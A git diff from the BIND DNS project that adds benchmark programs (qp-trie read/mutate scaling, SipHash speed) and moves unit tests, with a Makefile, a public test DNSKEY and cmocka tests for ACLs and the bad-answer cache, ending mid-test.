+	init_read_only:
+		bctx->mode = vary_read_only;
+		printf("\n");
+		printf("vary read threads "
+		       "[ read perf per thread should be flat ]\n");
+		tsv_header();
+		bctx->mutate = 0;
+		bctx->readers = 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		break;
+	case vary_read_only:
+		if (bctx->readers == bctx->nloops) {
+			goto init_mut_ops_per_tx;
+		} else {
+			bctx->readers++;
+		}
+		break;
+
+	init_mut_ops_per_tx:
+		bctx->mode = vary_mut_ops_per_tx;
+		printf("\n");
+		printf("vary mutate operations per transaction "
+		       "[ mutate activity affects read perf? ]\n");
+		tsv_header();
+		bctx->mutate = 1;
+		bctx->readers = bctx->nloops - 1;
+		bctx->mut_ops_per_tx = 1;
+		bctx->mut_tx_per_loop = 1;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		break;
+	case vary_mut_ops_per_tx:
+		if (bctx->mut_ops_per_tx * bctx->mut_tx_per_loop ==
+		    MAX_OPS_PER_LOOP)
+		{
+			goto init_mut_tx_per_loop;
+		} else {
+			bctx->mut_ops_per_tx *= 2;
+		}
+		break;
+
+	init_mut_tx_per_loop:
+		bctx->mode = vary_mut_tx_per_loop;
+		printf("\n");
+		printf("vary mutate transactions per loop "
+		       "[ mutate activity affects read perf? ]\n");
+		tsv_header();
+		bctx->mutate = 1;
+		bctx->readers = bctx->nloops - 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 1;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		break;
+	case vary_mut_tx_per_loop:
+		if (bctx->mut_ops_per_tx * bctx->mut_tx_per_loop ==
+		    MAX_OPS_PER_LOOP)
+		{
+			goto init_read_tx_per_loop_rw;
+		} else {
+			bctx->mut_tx_per_loop *= 2;
+		}
+		break;
+
+	init_read_tx_per_loop_rw:
+		bctx->mode = vary_read_tx_per_loop_rw;
+		printf("\n");
+		printf("vary read transactions per loop "
+		       "[ loop overhead? ]\n");
+		tsv_header();
+		bctx->mutate = 1;
+		bctx->readers = bctx->nloops - 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 4;
+		bctx->read_tx_per_loop = 1;
+		break;
+	case vary_read_tx_per_loop_rw:
+		if (bctx->read_ops_per_tx * bctx->read_tx_per_loop ==
+		    MAX_OPS_PER_LOOP)
+		{
+			goto init_read_tx_per_loop_ro;
+		} else {
+			bctx->read_tx_per_loop *= 2;
+		}
+		break;
+
+	init_read_tx_per_loop_ro:
+		bctx->mode = vary_read_tx_per_loop_ro;
+		printf("\n");
+		printf("vary read transactions per loop (readonly) "
+		       "[ loop overhead? ]\n");
+		tsv_header();
+		bctx->mutate = 0;
+		bctx->readers = bctx->nloops;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 4;
+		bctx->read_tx_per_loop = 1;
+		break;
+	case vary_read_tx_per_loop_ro:
+		if (bctx->read_ops_per_tx * bctx->read_tx_per_loop ==
+		    MAX_OPS_PER_LOOP)
+		{
+			goto init_read_ops_per_tx_rw;
+		} else {
+			bctx->read_tx_per_loop *= 2;
+		}
+		break;
+
+	init_read_ops_per_tx_rw:
+		bctx->mode = vary_read_ops_per_tx_rw;
+		printf("\n");
+		printf("vary read operations per transaction "
+		       " [ transaction overhead should be small ]\n");
+		tsv_header();
+		bctx->mutate = 1;
+		bctx->readers = bctx->nloops - 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 1;
+		bctx->read_tx_per_loop = MAX_OPS_PER_LOOP;
+		break;
+	case vary_read_ops_per_tx_rw:
+		if (bctx->read_ops_per_tx == MAX_OPS_PER_LOOP) {
+			goto init_read_ops_per_tx_ro;
+		} else {
+			bctx->read_ops_per_tx *= 2;
+			bctx->read_tx_per_loop /= 2;
+		}
+		break;
+
+	init_read_ops_per_tx_ro:
+		bctx->mode = vary_read_ops_per_tx_ro;
+		printf("\n");
+		printf("vary read operations per transaction (readonly) "
+		       " [ transaction overhead should be small ]\n");
+		tsv_header();
+		bctx->mutate = 0;
+		bctx->readers = bctx->nloops;
+		bctx->mut_ops_per_tx = 0;
+		bctx->mut_tx_per_loop = 0;
+		bctx->read_ops_per_tx = 1;
+		bctx->read_tx_per_loop = MAX_OPS_PER_LOOP;
+		break;
+	case vary_read_ops_per_tx_ro:
+		if (bctx->read_ops_per_tx == MAX_OPS_PER_LOOP) {
+			goto fini;
+		} else {
+			bctx->read_ops_per_tx *= 2;
+			bctx->read_tx_per_loop /= 2;
+		}
+		break;
+	}
+
+	/* dispatch a benchmark run */
+
+	bool zipf = bctx->mutate == 0 && bctx->readers == 0;
+	bctx->waiting = zipf ? bctx->nloops : bctx->readers + bctx->mutate;
+	isc_barrier_init(&bctx->barrier, bctx->waiting);
+	for (uint32_t t = 0; t < bctx->waiting; t++) {
+		bool mut = t < bctx->mutate;
+		bctx->thread[t] = (struct thread_args){
+			.bctx = bctx,
+			.barrier = &bctx->barrier,
+			.loopmgr = bctx->loopmgr,
+			.multi = bctx->multi,
+			.max_item = bctx->max_item,
+			.zipf_skew = bctx->zipf_skew,
+			.cb = zipf  ? read_zipf
+			      : mut ? mutate_transactions
+				    : read_transactions,
+			.ops_per_tx = mut ? bctx->mut_ops_per_tx
+					  : bctx->read_ops_per_tx,
+			.tx_per_loop = mut ? bctx->mut_tx_per_loop
+					   : bctx->read_tx_per_loop,
+		};
+		isc_async_run(isc_loop_get(bctx->loopmgr, t), first_loop,
+			      &bctx->thread[t]);
+	}
+}
+
+static void
+collect(void *varg) {
+	struct thread_args *args = varg;
+	struct bench_state *bctx = args->bctx;
+	struct thread_args *thread = bctx->thread;
+	struct {
+		uint64_t worked, txns, ops, compactions;
+	} stats[2] = {};
+	double load_time = bctx->load_time;
+	double elapsed = 0, mut_work, readers, read_work, elapsed_ms;
+	uint32_t nloops;
+	bool zipf;
+
+	TRACE("collect");
+
+	bctx->waiting--;
+	if (bctx->waiting > 0) {
+		return;
+	}
+	isc_barrier_destroy(&bctx->barrier);
+
+	load_time = load_time > 0 ? load_time / (double)NS_PER_SEC : NAN;
+
+	zipf = bctx->mutate == 0 && bctx->readers == 0;
+	nloops = zipf ? bctx->nloops : bctx->readers + bctx->mutate;
+	for (uint32_t t = 0; t < nloops; t++) {
+		struct thread_args *tp = &thread[t];
+		elapsed = ISC_MAX(elapsed, (tp->stop - tp->start));
+		bool mut = t < bctx->mutate;
+
+		stats[mut].worked += tp->worked;
+		stats[mut].txns += tp->transactions;
+		stats[mut].ops += tp->transactions * tp->ops_per_tx;
+		stats[mut].compactions += tp->compactions;
+	}
+
+	printf("%7.3f\t", RUNTIME / (double)NS_PER_SEC);
+	printf("%7.3f\t", elapsed / (double)NS_PER_SEC);
+	printf("%7.3f\t", load_time);
+	printf("%7.2f\t", (double)bctx->qp_bytes / bctx->qp_items);
+	printf("%7u\t", bctx->max_item);
+
+	mut_work = stats[1].worked / (double)US_PER_MS;
+	printf("%7u\t", bctx->mutate);
+	printf("%7u\t", bctx->mut_tx_per_loop);
+	printf("%7u\t", bctx->mut_ops_per_tx);
+	printf("%7llu\t", (unsigned long long)stats[1].compactions);
+	printf("%7llu\t", (unsigned long long)stats[1].txns);
+	printf("%7llu\t", (unsigned long long)stats[1].ops);
+	printf("%7.2f\t", stats[1].worked / (double)NS_PER_SEC);
+	printf("%7.2f\t", stats[1].txns / mut_work);
+	printf("%7.2f\t", stats[1].ops / mut_work);
+
+	readers = zipf ? bctx->nloops - bctx->mutate : bctx->readers;
+	read_work = stats[0].worked / (double)US_PER_MS;
+	elapsed_ms = elapsed / (double)US_PER_MS;
+	printf("%7u\t", bctx->readers);
+	printf("%7u\t", bctx->read_tx_per_loop);
+	printf("%7u\t", bctx->read_ops_per_tx);
+	printf("%7llu\t", (unsigned long long)stats[0].txns / 1000);
+	printf("%7llu\t", (unsigned long long)stats[0].ops / 1000);
+	printf("%7.2f\t", stats[0].worked / (double)NS_PER_SEC);
+	printf("%7.2f\t", stats[0].txns / read_work);
+	printf("%7.2f\t", stats[0].ops / read_work);
+	printf("%7.2f\t", stats[0].ops * readers / read_work);
+	printf("%7.2f\n", stats[0].ops / elapsed_ms);
+
+	dispatch(bctx);
+}
+
+static void
+startup(void *arg) {
+	isc_loopmgr_t *loopmgr = arg;
+	isc_loop_t *loop = isc_loop_current(loopmgr);
+	isc_mem_t *mctx = isc_loop_getmctx(loop);
+	uint32_t nloops = isc_loopmgr_nloops(loopmgr);
+	size_t bytes = sizeof(struct bench_state) +
+		       sizeof(struct thread_args) * nloops;
+	struct bench_state *bctx = isc_mem_cget(mctx, 1, bytes);
+
+	*bctx = (struct bench_state){
+		.loopmgr = loopmgr,
+		.bytes = bytes,
+		.nloops = nloops,
+	};
+	isc_mem_attach(mctx, &bctx->mctx);
+
+	dispatch(bctx);
+}
+
+struct ticker {
+	isc_loopmgr_t *loopmgr;
+	isc_mem_t *mctx;
+	isc_timer_t *timer;
+};
+
+static void
+tick(void *varg) {
+	/* just make the loop cycle */
+	UNUSED(varg);
+}
+
+static void
+start_ticker(void *varg) {
+	struct ticker *ticker = varg;
+	isc_loop_t *loop = isc_loop_current(ticker->loopmgr);
+
+	isc_timer_create(loop, tick, NULL, &ticker->timer);
+	isc_timer_start(ticker->timer, isc_timertype_ticker,
+			&(isc_interval_t){
+				.seconds = 0,
+				.nanoseconds = 1 * NS_PER_MS,
+			});
+}
+
+static void
+stop_ticker(void *varg) {
+	struct ticker *ticker = varg;
+
+	isc_timer_stop(ticker->timer);
+	isc_timer_destroy(&ticker->timer);
+	isc_mem_putanddetach(&ticker->mctx, ticker, sizeof(*ticker));
+}
+
+static void
+setup_tickers(isc_mem_t *mctx, isc_loopmgr_t *loopmgr) {
+	uint32_t nloops = isc_loopmgr_nloops(loopmgr);
+	for (uint32_t i = 0; i < nloops; i++) {
+		isc_loop_t *loop = isc_loop_get(loopmgr, i);
+		struct ticker *ticker = isc_mem_get(mctx, sizeof(*ticker));
+		*ticker = (struct ticker){
+			.loopmgr = loopmgr,
+		};
+		isc_mem_attach(mctx, &ticker->mctx);
+		isc_loop_setup(loop, start_ticker, ticker);
+		isc_loop_teardown(loop, stop_ticker, ticker);
+	}
+}
+
+int
+main(void) {
+	isc_loopmgr_t *loopmgr = NULL;
+	isc_mem_t *mctx = NULL;
+
+	setlinebuf(stdout);
+
+	uint32_t nloops;
+	const char *env_workers = getenv("ISC_TASK_WORKERS");
+
+	if (env_workers != NULL) {
+		nloops = atoi(env_workers);
+	} else {
+		nloops = isc_os_ncpus();
+	}
+	INSIST(nloops > 1);
+
+	isc_mem_create(&mctx);
+	isc_mem_setdestroycheck(mctx, true);
+	init_logging(mctx);
+	init_items(mctx);
+
+	isc_loopmgr_create(mctx, nloops, &loopmgr);
+	setup_tickers(mctx, loopmgr);
+	isc_loop_setup(isc_loop_main(loopmgr), startup, loopmgr);
+	isc_loopmgr_run(loopmgr);
+	isc_loopmgr_destroy(&loopmgr);
+
+	isc_log_destroy(&dns_lctx);
+	isc_mem_free(mctx, item);
+	isc_mem_checkdestroyed(stdout);
+	isc_mem_destroy(&mctx);
+
+	return (0);
+}
diff --git a/tests/bench/siphash.c b/tests/bench/siphash.c
new file mode 100644
index 0000000000..292cd6d8e1
--- /dev/null
+++ b/tests/bench/siphash.c
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+
+#include <isc/ascii.h>
+#include <isc/random.h>
+#include <isc/siphash.h>
+#include <isc/time.h>
+
+#define SIZE (1024 * 1024)
+
+#define KILOHASHES(count, us) ((us) == 0 ? 0.0 : ((count)*1000.0 / (us)))
+
+int
+main(void) {
+	static uint8_t bytes[SIZE];
+	static uint8_t key[16];
+
+	isc_random_buf(bytes, SIZE);
+	isc_random_buf(key, sizeof(key));
+
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint64_t hash;
+			uint8_t lower[1024];
+			isc_ascii_lowercopy(lower, bytes + end - len, len);
+			isc_siphash24(key, lower, len, true, (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us wide-lower len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint64_t hash;
+			isc_siphash24(key, bytes + end - len, len, false,
+				      (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us wide-icase len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint64_t hash;
+			isc_siphash24(key, bytes + end - len, len, true,
+				      (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us wide-bytes len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint32_t hash;
+			uint8_t lower[1024];
+			isc_ascii_lowercopy(lower, bytes + end - len, len);
+			isc_halfsiphash24(key, lower, len, true, (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us half-lower len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint32_t hash;
+			isc_halfsiphash24(key, bytes + end - len, len, false,
+					  (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us half-icase len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+
+	for (size_t len = 256; len > 0; len = len * 4 / 5) {
+		isc_time_t start, finish;
+		uint64_t count = 0;
+		uint64_t sum = 0;
+		uint64_t us;
+
+		start = isc_time_now_hires();
+
+		for (size_t end = len; end < SIZE; end += len) {
+			uint32_t hash;
+			isc_halfsiphash24(key, bytes + end - len, len, true,
+					  (void *)&hash);
+			sum += hash;
+			count++;
+		}
+
+		finish = isc_time_now_hires();
+
+		us = isc_time_microdiff(&finish, &start);
+		printf("%f us half-bytes len %3zu, %7.0f kh/s (%llx)\n",
+		       (double)us / 1000000.0, len, KILOHASHES(count, us),
+		       (unsigned long long)sum);
+	}
+}
diff --git a/tests/dns/.gitignore b/tests/dns/.gitignore
new file mode 100644
index 0000000000..ed143a8bc6
--- /dev/null
+++ b/tests/dns/.gitignore
@@ -0,0 +1,3 @@
+/zone.data
+/testdata/dnstap/dnstap.file
+/testdata/master/master18.data
diff --git a/lib/dns/tests/Kdh.+002+18602.key b/tests/dns/Kdh.+002+18602.key
similarity index 100%
rename from lib/dns/tests/Kdh.+002+18602.key
rename to tests/dns/Kdh.+002+18602.key
diff --git a/tests/dns/Krsa.+008+29238.key b/tests/dns/Krsa.+008+29238.key
new file mode 100644
index 0000000000..8a09067197
--- /dev/null
+++ b/tests/dns/Krsa.+008+29238.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 29235, for rsa.
+; Created: 20160819191802 (Fri Aug 19 21:18:02 2016)
+; Publish: 20160819191802 (Fri Aug 19 21:18:02 2016)
+; Activate: 20160819191802 (Fri Aug 19 21:18:02 2016)
+rsa. IN DNSKEY 256 3 8 AwEAAdLT1R3qiqCqll3Xzh2qFMvehQ9FODsPftw5U4UjB3QwnJ/3+dph 9kZBBeaJagUBVYzoArk6XNydpp3HhSCFDcIiepL6r8XAifW3SqI1KCne OD38kSCl/Qm9P0+3CFWokGVubsSQ+3dpQZxqx5bzOXthbuzAr6X+gDUE LAyHtCQNmJ+4ktdCoj3DNYW0z/xLvrcB2Lns7H+/qWnGPL4f3hr7Vbak Oeay+4J4KGdY2LFxJUVts6QrgAA8gz4mV9YIJFP+C4B3b/Z7qgqZRxmT 0pic+fJC5+sq0l8KwavPn0n+HqVuJNvppVKMdTbsmmuk69RFGMjbFkP7 tnCiqC9Zi6s=
diff --git a/tests/dns/Makefile.am b/tests/dns/Makefile.am
new file mode 100644
index 0000000000..005a97860b
--- /dev/null
+++ b/tests/dns/Makefile.am
@@ -0,0 +1,135 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=				\
+	$(LIBISC_CFLAGS)		\
+	$(LIBDNS_CFLAGS)		\
+	$(LIBURCU_CFLAGS)		\
+	$(LIBUV_CFLAGS)			\
+	$(KRB5_CFLAGS)			\
+	-DSRCDIR=\"$(abs_srcdir)\"	\
+	-DBUILDDIR=\"$(abs_builddir)\"	\
+	-I$(top_srcdir)/lib/dns		\
+	-I$(top_srcdir)/lib/isc
+
+LDADD +=				\
+	$(LIBISC_LIBS)			\
+	$(LIBURCU_LIBS)			\
+	$(LIBUV_LIBS)			\
+	$(LIBDNS_LIBS)
+
+check_PROGRAMS =		\
+	acl_test		\
+	badcache_test		\
+	db_test			\
+	dbdiff_test		\
+	dbiterator_test		\
+	dbversion_test		\
+	dispatch_test		\
+	dns64_test		\
+	dst_test		\
+	keytable_test		\
+	name_test		\
+	nametree_test		\
+	nsec3_test		\
+	nsec3param_test		\
+	private_test		\
+	qp_test			\
+	qpmulti_test		\
+	rbt_test		\
+	rbtdb_test		\
+	rdata_test		\
+	rdataset_test		\
+	rdatasetstats_test	\
+	resolver_test		\
+	rsa_test		\
+	sigs_test		\
+	time_test		\
+	tsig_test		\
+	update_test		\
+	zonemgr_test		\
+	zt_test
+
+if HAVE_PERL
+
+check_PROGRAMS +=		\
+	master_test
+
+EXTRA_master_test_DEPENDENCIES = testdata/master/master12.data testdata/master/master13.data testdata/master/master14.data
+CLEANFILES += $(EXTRA_master_test_DEPENDENCIES)
+
+testdata/master/master12.data: testdata/master/master12.data.in
+	mkdir -p testdata/master
+	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master12.data.in > $@
+
+testdata/master/master13.data: testdata/master/master13.data.in
+	mkdir -p testdata/master
+	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master13.data.in > $@
+
+testdata/master/master14.data: testdata/master/master14.data.in
+	mkdir -p testdata/master
+	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master14.data.in > $@
+
+endif
+
+if HAVE_GEOIP2
+check_PROGRAMS +=		\
+	geoip_test
+
+geoip_test_CPPFLAGS =		\
+	$(AM_CPPFLAGS)		\
+	$(MAXMINDDB_CFLAGS)	\
+	-DTEST_GEOIP_DATA=\"$(top_srcdir)/bin/tests/system/geoip2/data\"
+
+geoip_test_LDADD =		\
+	$(LDADD)		\
+	$(MAXMINDDB_LIBS)
+endif
+
+if HAVE_DNSTAP
+check_PROGRAMS +=		\
+	dnstap_test
+
+dnstap_test_CPPFLAGS =		\
+	$(AM_CPPFLAGS)		\
+	$(DNSTAP_CFLAGS)
+dnstap_test_LDADD =		\
+	$(LDADD)		\
+	$(DNSTAP_LIBS)
+endif
+
+dh_test_CPPFLAGS =		\
+	$(AM_CPPFLAGS)		\
+	$(OPENSSL_CFLAGS)
+
+dst_test_CPPFLAGS =		\
+	$(AM_CPPFLAGS)		\
+	$(OPENSSL_CFLAGS)
+
+rsa_test_CPPFLAGS =		\
+	$(AM_CPPFLAGS)		\
+	$(OPENSSL_CFLAGS)
+
+rdata_test_CPPFLAGS = 		\
+	$(AM_CPPFLAGS)		\
+	$(OPENSSL_CFLAGS)
+
+rdata_test_LDADD =		\
+	$(LDADD)		\
+	$(OPENSSL_LIBS)
+
+EXTRA_sigs_test_DEPENDENCIES = testdata/master/master18.data
+CLEANFILES += $(EXTRA_sigs_test_DEPENDENCIES)
+
+testdata/master/master18.data: testdata/master/master18.data.in
+	mkdir -p testdata/master
+	sed -e 's,@TOP_SRCDIR@,$(abs_srcdir),' < $(srcdir)/testdata/master/master18.data.in > $@
+
+EXTRA_DIST =			\
+	Kdh.+002+18602.key	\
+	Krsa.+008+29238.key	\
+	comparekeys		\
+	mkraw.pl		\
+	testdata		\
+	testkeys
+
+include $(top_srcdir)/Makefile.tests
diff --git a/tests/dns/acl_test.c b/tests/dns/acl_test.c
new file mode 100644
index 0000000000..306921e64a
--- /dev/null
+++ b/tests/dns/acl_test.c
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dns/acl.h>
+
+#include <tests/dns.h>
+
+#define BUFLEN	    255
+#define BIGBUFLEN   (70 * 1024)
+#define TEST_ORIGIN "test"
+
+/* test that dns_acl_isinsecure works */
+ISC_RUN_TEST_IMPL(dns_acl_isinsecure) {
+	isc_result_t result;
+	dns_acl_t *any = NULL;
+	dns_acl_t *none = NULL;
+	dns_acl_t *notnone = NULL;
+	dns_acl_t *notany = NULL;
+#if defined(HAVE_GEOIP2)
+	dns_acl_t *geoip = NULL;
+	dns_acl_t *notgeoip = NULL;
+	dns_aclelement_t *de;
+#endif /* HAVE_GEOIP2 */
+
+	UNUSED(state);
+
+	result = dns_acl_any(mctx, &any);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_none(mctx, &none);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_create(mctx, 1, &notnone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_create(mctx, 1, &notany);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_merge(notnone, none, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_merge(notany, any, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+#if defined(HAVE_GEOIP2)
+	result = dns_acl_create(mctx, 1, &geoip);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	de = geoip->elements;
+	assert_non_null(de);
+	strlcpy(de->geoip_elem.as_string, "AU",
+		sizeof(de->geoip_elem.as_string));
+	de->geoip_elem.subtype = dns_geoip_country_code;
+	de->type = dns_aclelementtype_geoip;
+	de->negative = false;
+	assert_true(geoip->length < geoip->alloc);
+	dns_acl_node_count(geoip)++;
+	de->node_num = dns_acl_node_count(geoip);
+	geoip->length++;
+
+	result = dns_acl_create(mctx, 1, &notgeoip);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_acl_merge(notgeoip, geoip, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+#endif /* HAVE_GEOIP2 */
+
+	assert_true(dns_acl_isinsecure(any));	   /* any; */
+	assert_false(dns_acl_isinsecure(none));	   /* none; */
+	assert_false(dns_acl_isinsecure(notany));  /* !any; */
+	assert_false(dns_acl_isinsecure(notnone)); /* !none; */
+
+#if defined(HAVE_GEOIP2)
+	assert_true(dns_acl_isinsecure(geoip));	    /* geoip; */
+	assert_false(dns_acl_isinsecure(notgeoip)); /* !geoip; */
+#endif						    /* HAVE_GEOIP2 */
+
+	dns_acl_detach(&any);
+	dns_acl_detach(&none);
+	dns_acl_detach(&notany);
+	dns_acl_detach(&notnone);
+#if defined(HAVE_GEOIP2)
+	dns_acl_detach(&geoip);
+	dns_acl_detach(&notgeoip);
+#endif /* HAVE_GEOIP2 */
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(dns_acl_isinsecure)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/badcache_test.c b/tests/dns/badcache_test.c
new file mode 100644
index 0000000000..f7151b73fd
--- /dev/null
+++ b/tests/dns/badcache_test.c
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/commandline.h>
+#include <isc/md.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/thread.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include <dns/badcache.h>
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+#include <dns/rdatatype.h>
+
+#include <tests/dns.h>
+
+static uint32_t
+crc32(const uint8_t *buf, size_t size) {
+	uint32_t crc;
+	crc = 0xFFFFFFFF;
+	while (size--) {
+		crc = crc ^ *buf++;
+		for (size_t j = 0; j < 8; j++) {
+			uint32_t mask = -(crc & 1);
+			crc = (crc >> 1) ^ (0xedb88320 & mask);
+		}
+	}
+	return (~crc);
+}
+
+#define BADCACHE_TEST_FLAG 1 << 3
+
+ISC_LOOP_TEST_IMPL(basic) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+
+	bc = dns_badcache_new(mctx);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+
+	flags = 0;
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	flags = 0;
+	result = dns_badcache_find(bc, name, dns_rdatatype_a, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+	assert_int_equal(flags, 0);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(expire) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+
+	bc = dns_badcache_new(mctx);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	dns_badcache_add(bc, name, dns_rdatatype_a, false, flags, now + 60);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now + 61);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
